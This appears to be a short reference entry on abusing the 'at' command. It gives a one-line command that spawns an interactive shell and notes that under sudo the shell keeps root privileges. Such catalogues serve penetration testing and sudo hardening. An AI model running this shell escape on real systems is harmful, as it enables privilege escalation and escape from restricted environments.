Unprivileged

This function can be performed by any unprivileged user.

```
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
```

Sudo

This function is performed by the privileged user if executed via `sudo` because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via `sudo VAR=value ...` or exported then `sudo -E ...`.

```
